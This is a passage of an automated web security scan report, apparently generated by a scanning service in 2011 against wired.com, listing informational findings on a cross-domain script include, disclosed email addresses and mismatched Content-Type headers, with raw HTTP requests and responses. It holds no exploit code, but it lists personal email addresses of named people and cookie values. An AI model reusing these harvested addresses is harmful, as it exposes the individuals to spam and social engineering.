3.2. http://www.wired.com/js/global.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.wired.com
Path:	/js/global.js

Issue detail

The response dynamically includes the following script from another domain:

http://0/

Request

Response

4. Email addresses disclosed previous next
There are 2 instances of this issue:

/gadgetlab/2011/03/amazon-app-store-security/
/js/videos/MobileCompatibility.js

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

4.1. http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.wired.com
Path:	/gadgetlab/2011/03/amazon-app-store-security/

Issue detail

The following email addresses were disclosed in the response:

brian_chen@wired.com
brianxchen@gmail.com
gadgetnews@wired.com
mike@wired.com
mike_isaac@wired.com
wired@mistercharlie.co.uk
wired@tweney.com

Request

Response

4.2. http://www.wired.com/js/videos/MobileCompatibility.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.wired.com
Path:	/js/videos/MobileCompatibility.js

Issue detail

The following email address was disclosed in the response:

ahand@hand-interactive.com

Request

GET /js/videos/MobileCompatibility.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
Accept-Ranges: bytes
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Cache-Control: max-age=600
Expires: Wed, 27 Apr 2011 12:39:17 GMT
Date: Wed, 27 Apr 2011 12:29:17 GMT
Connection: close
Content-Length: 25629

/**
* Copyright (C) 2005 Brightcove, Inc. All Rights Reserved. No
* use, copying or distribution of this work may be made except in
* accordance with a valid license agreement from Brightcove,
...[SNIP]...
*******************************/
/**********************************************************************************************************************/

// JavaScript Document

// Anthony Hand, ahand@hand-interactive.com
// Web: www.hand-interactive.com
//
// License info: http://creativecommons.org/licenses/by/3.0/us/

//Initialize some initial string variables we'll look for later.
var deviceIphone = "iphone"
...[SNIP]...

5. Content type incorrectly stated previous
There are 15 instances of this issue:

/favicon.ico
/gadgetlab/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.js
/js/ads/google_customize.js
/js/cn-fe-ads/cn.ad.lotame.js
/js/cn-fe-ads/cn.dart.js
/js/cn-fe-common/cn.js
/js/comments/commentBroker.js
/js/comments/prototype.js
/js/ecom/ecomfw.min.js
/js/global.js
/js/jquery-1.3.2.min.js
/js/omniture/s_code.js
/js/videos/MobileCompatibility.js
/js_blogs/json2.js
/js_blogs/popup.js

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

5.1. http://www.wired.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0; __utmz=238032518.1303907411.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=238032518; __utmb=238032518.1.10.1303907404; __utma=238032518.1732720120.1303907404.1303907404.1303907404.1; s_cc=true; s_nr=1303907417902; s_sq=%5B%5BB%5D%5D; akul_unique_user=1; s_vi=[CS]v1|26DC062B050115DF-40000101C031C4DA[CE]; _chartbeat2=68a17zeuxlgqb3u0

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Wed, 28 Feb 2007 15:09:29 GMT
ETag: "1e631-37e-42a8ac2ce5c40"
Accept-Ranges: bytes
Content-Length: 894
Content-Type: text/plain; charset=UTF-8
Cache-Control: max-age=600
Expires: Wed, 27 Apr 2011 12:47:57 GMT
Date: Wed, 27 Apr 2011 12:37:57 GMT
Connection: close

..............h.......(....... .........................................................................................................................................................................
...[SNIP]...

5.2. http://www.wired.com/gadgetlab/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/gadgetlab/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /gadgetlab/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.js?ver=1.3.0 HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.3. http://www.wired.com/js/ads/google_customize.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/ads/google_customize.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js/ads/google_customize.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

5.4. http://www.wired.com/js/cn-fe-ads/cn.ad.lotame.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/cn-fe-ads/cn.ad.lotame.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /js/cn-fe-ads/cn.ad.lotame.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.5. http://www.wired.com/js/cn-fe-ads/cn.dart.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/cn-fe-ads/cn.dart.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /js/cn-fe-ads/cn.dart.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.6. http://www.wired.com/js/cn-fe-common/cn.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/cn-fe-common/cn.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js/cn-fe-common/cn.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.7. http://www.wired.com/js/comments/commentBroker.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/comments/commentBroker.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js/comments/commentBroker.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.8. http://www.wired.com/js/comments/prototype.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/comments/prototype.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js/comments/prototype.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.9. http://www.wired.com/js/ecom/ecomfw.min.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/ecom/ecomfw.min.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /js/ecom/ecomfw.min.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.10. http://www.wired.com/js/global.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/global.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

5.11. http://www.wired.com/js/jquery-1.3.2.min.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/jquery-1.3.2.min.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js/jquery-1.3.2.min.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.12. http://www.wired.com/js/omniture/s_code.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/omniture/s_code.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js/omniture/s_code.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.13. http://www.wired.com/js/videos/MobileCompatibility.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js/videos/MobileCompatibility.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

5.14. http://www.wired.com/js_blogs/json2.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js_blogs/json2.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /js_blogs/json2.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.15. http://www.wired.com/js_blogs/popup.js previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.wired.com
Path:	/js_blogs/popup.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /js_blogs/popup.js HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

Report generated by XSS.CX at Wed Apr 27 08:24:43 CDT 2011.